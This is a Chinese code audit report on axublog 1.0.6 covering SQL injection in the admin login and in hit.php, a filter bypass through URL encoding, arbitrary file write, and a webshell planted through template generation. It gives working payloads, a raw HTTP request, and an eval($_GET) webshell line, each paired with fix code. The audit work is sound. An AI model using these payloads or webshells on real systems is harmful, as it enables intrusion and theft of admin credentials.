[ 审计信息 ]

版本:axublog1.0.6
编辑器:phpstorm
调试工具:XDEBUG、SEAY源代码审计系统、Firefox、BurpSuit

漏洞一:后台万能密码登陆

[ 审计方法]

动态调试

[ 漏洞原理与危害 ]

原理:SQL注入
危险等级:高危

[ 漏洞分析 ]

在 ./ad/login.php 的第84行开始看到$user$psw$loginlong都是直接从$_POST直接传送过来的。

function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{$num=mysql_num_rows($sql);if($num==0){$jieguo='<div id=redmsg>登录失败:账户或密码错误!</div>';}else{
loginpass($loginlong);$jieguo='<div id=bluemsg>登录成功!正在前往<a href="index.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';@$chkmoblie=isMobile();if($chkmoblie==1){$jieguo='<div id=bluemsg>登录成功!正在前往<a href="wap.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}}

在静态审计的过程中需要追入一开始的include的文件用以检查是否对 $_POST变量进行过滤。但是这个比较复杂的过程可以通过使用动态调试来简化。
./ad/login.php 中第5行下断点以便追踪$_POST变量的值。

当从登陆页面输入登陆的账户和密码,程序便可断在我们设置的断点处。

这里没有发现有对$_POST变量进行过滤,继续追踪下去。
在第94行发现我们传递的数值没有经过过滤就直接带入到数据库进行查询,这就造成SQL注入

等执行完流程之后发现登陆成功了。

[ Payload构造 ]

构造POST数据

user=aaa'+or+1=1+#&psw=admin&loginlong=86400

[ 修复建议 ]

  1. 增加对变量的过滤,可以增加如下代码:
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];// -------------------add-filter-code--------------if(!get_magic_quotes_gpc()){@$user=htmlentities($user,ENT_QUOTES,'utf-8');@$psw=htmlentities($psw,ENT_QUOTES,'utf-8');@$loginlong=htmlentities($loginlong,ENT_QUOTES,'utf-8');}
// ------------------------------------------------setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{
... (余下代码省略)


2. 更改数据库交互函数,使用PDO等预编译技术

漏洞二:前台数字型SQL注入

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:SQL注入
危险等级:高危

[ 漏洞分析 ]

./hit.php文件代码如下:

<?php
header("Content-type:text/html; charset=utf-8");
require("cmsconfig.php");
require("class/c_other.php");
sqlguolv();$g=$_GET['g'];if ($g=='arthit'){
$id=$_GET['id'];if($id!=''){$tab=$tabhead."arts";
mysql_select_db($tab);
$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
$sql = mysql_query("select * from ".$tab." where id=".$id);
$row=mysql_fetch_array($sql);$str=$row['hit'];echo 'document.write('.$str.');';}
}

在第16行和第17行都将 $id直接带入SQL查询,而$id是直接从 $_GET['id'] 中提取的。
设想使用如下url进行注入,但发现被拦截了

http://localhost/test/hit.php?g=arthit&id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12

这里被拦截的原因出自 sqlguolv() 。追入该函数看过滤的代码:

Function sqlguolv() {@header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;}
}

这里尝试使用大小写来绕过,但是因为正则函数是使用 /i ,导致大小写被忽略,所以不可行。这里Thinking师傅的审计文章里有提到:

sqlguolv()函数中对字符串进行检测的方式是从 $_SERVER['QUERY_STRING'] 中提取请求的字符串,并且不会对URL编码进行解码。
但是在 hit.php 中对参数的赋值是从$_GET中提取的,而GET方法会对URL进行一次解码
因此过滤可以被绕过。

[ Payload构造 ]

构造URL:

http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12


获取管理员的账号密码

http://localhost/test/hit.php?g=arthit&id=-1%20+%55NION+ALL+%53ELECT+1,2,3,4,5,6,concat(adnaa,'|',adpss),8,9,10,11,12%20from%20axublog_adusers

[ 修复建议 ]

  1. 加强sqlguolv()的功能,针对 $_SERVER['QUERY_STRING']不对URL进行解码的问题进行修复,即增加解码的步骤并完善正则匹配的关键字。
//c_other.phpFunction sqlguolv() {@header("Content-type:text/html; charset=utf-8");//---------------fix-part---------------$checkpara = '/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|concat|\^|preg|like|substr|\(|\)/i';$_SERVER['QUERY_STRING'] = urldecode($_SERVER['QUERY_STRING']);if (preg_match($checkpara,$_SERVER['QUERY_STRING'])==1 or preg_match($checkpara,file_get_contents("php://input"))==1){echo "警告 非法访问!";exit;}//--------------------------------------

}

  1. 针对此处的漏洞进行修复:此处漏洞是数字型,所以直接对id进行强制转换成int型再带入查询。
//hit.php
if ($g=='arthit'){
$id=$_GET['id'];if($id!=''){//-----------fix-code--------------------------$id = intval($id);//---------------------------------------------$tab=$tabhead."arts";mysql_select_db($tab);$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);$sql = mysql_query("select * from ".$tab." where id=".$id);$row=mysql_fetch_array($sql);$str=$row['hit'];echo 'document.write('.$str.');';}

}

3、使用预编译技术和数据库进行交互。

三、任意文件上传

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:因为对传入的参数控制不严格导致任意文件上传可getshell。
危险等级:高危

[ 漏洞分析 ]

在 ./ad/theme.php 的第186行有如下代码:

<?php
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;}if(file_put_contents ($path, $content)){echo"保存文件成功!";}
else{echo"保存文件失败!";}
?>

该部分是对传入的$content的内容写入$path所指定的文件中。但是在写入的过程中没有对$content进行过滤,所以可以在$content中传入恶意代码。

再查找该函数所调用的地方,一共是有两处:

第一处在app.php的第18行;
第二处是在theme.php的第15行,在switch语句的分支内:

两处使用方法都一样。

[ Payload构造 ]

POST /test/ad/theme.php?g=edit2save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 48path=../evil.php&content=<?php phpinfo(); ?>


写webshell也类似,就不再贴图了。

[ 修复建议 ]

  1. 针对本主题而言,调用edit2save的函数功能点仅仅是编辑about页面:

其页面的地址也是固定的:所以直接在后台写死或者在后台对传递来的path做校验。
从theme.php的第195行开始

<?php
$path=$_REQUEST['path'];
//------fix-code-----------
if ($path != '../theme/default/about.mb'){echo 'about.mb地址不正确';exit ;
}
//---------------------------
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';echo $path;exit;
}

四、后台生成about页面getshell

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:因为在生成about的时候调用了ob_get_contents函数来执行about.mb里面的php语句,而没有做应有的检查所以导致可以写入webshell。
危险等级:高危

[ 漏洞分析 ]

./ad/html.php 的第694行有如下代码:

ob_start();
include($mb);
$html = ob_get_contents ();
ob_clean();
$html=mbreplace($html);
file_put_contents ($cache, $html);echo '生成about.html成功: <a target=blank href="'.$cache.'">访问</a>';
?>

这个地方实际上就是把about.mb包含进来之后执行其内部的php语句,然后再将一些标签替换成变量的值,最后把处理的结果放入$cache变量中再将其写入aout.html页面。虽然最后生成的页面是静态的,但是依旧不会阻止getshell的脚步。

[ payload构造 ]

思路一:用 file_get_content函数写入webshell:
在about.mb尾部添加如下代码:

<?php
file_put_contents('../shell.php','<?php @eval($_GET["a"]); ?>');
?>

然后点击生成about页面,就可以看到目录下生成了webshell

然后访问:

http://localhost/test/shell.php?a=phpinfo();

思路二:通过类似方法,使用system函数执行反弹脚本的语句。

[ 修复意见 ]

  1. 对about.mb的内容进行检测,匹配是否存在file_put_contentscall_user_funcevalassertsystem等容易造成危险的函数,若有就报错并结束流程。

AXUBLOG 代码审计报告相关推荐

  1. 令牌桶生成令牌_设计令牌如何有效使用令牌

    令牌桶生成令牌 "It used to be that designers made an object and walked away. Today the emphasis must s ...

  2. 第37篇:fortify代码审计工具的使用技巧(1)-审计java代码过程

     Part1 前言  在正式文章之前,插播一下:恭喜梅西圆梦,获得世界杯冠军,加冕球王,一场精彩绝伦的球赛.开心之后,还是要静下心学习的,我们也要继续努力. Fortify全名叫Fortify SCA ...

  3. 第38篇:Checkmarx代码审计/代码检测工具的使用教程(1)

     Part1 前言  Checkmarx是以色列研发的一款代码审计工具,是.NET开发的,只能在Windows下使用.很多人喜欢把它和fortify进行比较,其实很难说两款工具孰优孰劣,各有秋千吧,两 ...

  4. XXX高校信息安全服务解决方案

    XXX高校网络安全服务解决方案 目录 XXX高校网络安全服务解决方案 1.综述 1.1.项目背景 1.2.项目目标 1.3.项目范围 1.4.安全需求分析 2.安全服务概述 2.1.安全服务的必要性 ...

  5. 【代码审计篇】 代码审计工具Fortify基本用法详解

    文章目录 前言 一.工具介绍 二.安装过程 三.升级中文规则库 四.代码审计过程 五.代码审计结果 六.中文乱码解决 前言 本篇文章讲解代码审计工具Fortify的基本用法,感兴趣的小伙伴可以研究学习 ...

  6. 等保2.0自查表(管理部分)

    等保2.0自查表,管理部分,参考标准: GB∕T 22239-2019 <信息安全技术 网络安全等级保护基本要求> GB∕T 28448-2019 <信息安全技术网络安全等级保护测评 ...

  7. 第43篇:国内商用代码审计工具CodePecker啄木鸟的使用教程

     Part1 前言  最近感染了新冠,大病初愈,没有气力写复杂的文章了,就抽空把<代码审计工具系列教程>写完吧,前面几期介绍了商用代码审计工具Fortify.Checkmarx.Cover ...

  8. 认识代码审计,流程、方式、范围等一篇了解

    一.什么是代码审计 源代码审计(Code Review)是由具备丰富编码经验并对安全编码原则及应用安全具有深刻理解的安全服务人员对系统的源代码和软件架构的安全性.可靠性进行全面的安全检查. 源代码审计 ...

  9. 隐私合规:收集SDK部分介绍

    com.meizu.cloud.pushsdk.SystemReceiver 魅族推送服务是由魅族公司为开发者提供的消息推送服务,开发者可以向集成了魅族 push SDK 的客户端实时地推送通知或者消 ...

最新文章

  1. JS脚本语言 JavaScript
  2. 使用SSH框架实现用户登录验证
  3. 深度学习之四:常用模型和方法
  4. 【转】刨根究底正则表达式(2):文本查找方式的演化历史
  5. python读单行文本求平均值_利用Python读取json数据并求数据平均值
  6. 本地gradle使用
  7. python 拟合正态分布_如何在Python中拟合双高斯分布?
  8. Elasticsearch head插件
  9. Windows 11 高门槛“吓退”用户,Linux 成“香饽饽”?
  10. [Git]解决Permission denied, please try again问题
  11. Mybatis if标签
  12. 黑马程序猿 IO流 ByteArrayInputStream与ByteArrayOutputStream
  13. CCSK云安全认证-M2-云基础设施安全
  14. 微信小程序radio 标签 使用
  15. Ubuntu20.04、22.04安装nvidia显卡驱动——超详细、最简单
  16. android监控app被杀死,Android App前后台监控
  17. 计算机常见总线插槽,“插槽”和“总线”的定义_CPUCPU评测-中关村在线
  18. C++标准库分析总结(一)——<标准库简介>
  19. 炼钢行业皮带无人化管理的问题及解决
  20. Android: 进程保活

热门文章

  1. 直播软件源码(有服务端+android端+ios端)
  2. web网页设计——J04HTML5+CSS大作业——传统节日--中秋节(5页)
  3. 施工员考试科目有哪些?施工员(装修装饰)练习题分享
  4. 微信小程序和webview通信踩坑(表单篇)
  5. 中国石油大学《工程热力学与传热学》第二阶段在线作业
  6. 记账本——项目概述分析与小组分工
  7. java基础 第6章类再生
  8. 江诗丹顿geneve系列_江诗丹顿geneve是什么意思?有什么意义?
  9. 太真实了!谈电子信息毕业生就业方向
  10. 软考高级哪个更容易过